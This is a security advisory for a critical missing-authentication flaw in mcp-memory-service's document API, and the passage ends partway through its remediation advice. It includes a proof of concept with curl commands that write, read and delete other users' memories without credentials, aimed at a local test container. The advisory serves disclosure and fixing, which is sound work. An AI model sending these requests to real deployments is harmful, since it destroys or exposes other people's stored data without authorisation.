Threats tagged 'ghsa-84hp-mqvj-3p8h'

## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete ### Summary All HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical. ### Details The `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes: - **`src/mcp_memory_service/web/api/documents.py:33`** — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent) - **`src/mcp_memory_service/web/api/documents.py:43`** — `router = APIRouter()` (no `dependencies=` argument) The affected endpoints and their data-flow sinks are: | Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | `POST /upload` | 149 | `storage.store(memory)` | 449 | | `POST /batch-upload` | — | `storage.store(memory)` | — | | `GET /history` | — | upload metadata response | — | | `GET /search-content/{upload_id}` | 729 | memory content response | 781 | | `DELETE /remove/{upload_id}` | — | storage deletion | — | | `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 | The router is mounted in `src/mcp_memory_service/web/app.py:311`: ```python app.include_router(documents_router, prefix="/api/documents") ``` No `CORSMiddleware` or authentication middleware applies to these routes at mount time. By contrast, the equivalent write endpoint in `memories.py` is correctly protected: ```python # src/mcp_memory_service/web/api/memories.py:136 user: AuthenticationResult = Depends(require_write_access) ``` This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes. ### PoC **Prerequisites** - Docker installed - Repository cloned at `repo` **Build and run the container** ```bash docker build -t vuln-001-mcp-memory-poc \ -f vuln-001/Dockerfile \ repo docker run -d --name vuln-001-poc-container \ -p 18000:8000 vuln-001-mcp-memory-poc:latest ``` The container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication. **Execute the PoC** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345 ``` **Attack chain (6 steps)** ``` [STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API [STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data [STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed [STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass [STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass [STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed ``` Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request. **Manual curl equivalent** ```bash # Confirm auth guard is active on /api/memories curl -i http://127.0.0.1:18000/api/memories # → 401 Unauthorized # Write through document API — no credentials printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt UPLOAD_ID=$( curl -s -X POST http://127.0.0.1:18000/api/documents/upload \ -F "file=@/tmp/poc.txt" -F "tags=cve-poc" | python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])' ) # → 200 OK sleep 3 curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID" # → content returned without authentication # Delete by tag — no credentials curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \ -H "Content-Type: application/json" -d '["cve-poc"]' # → 200 OK, memories_deleted=1 ``` **Observed output** - `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API. - `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`. - `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`. - A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request. **Remediation** Add `Depends(require_write_access)` / `Depends(require_read_access)` to ever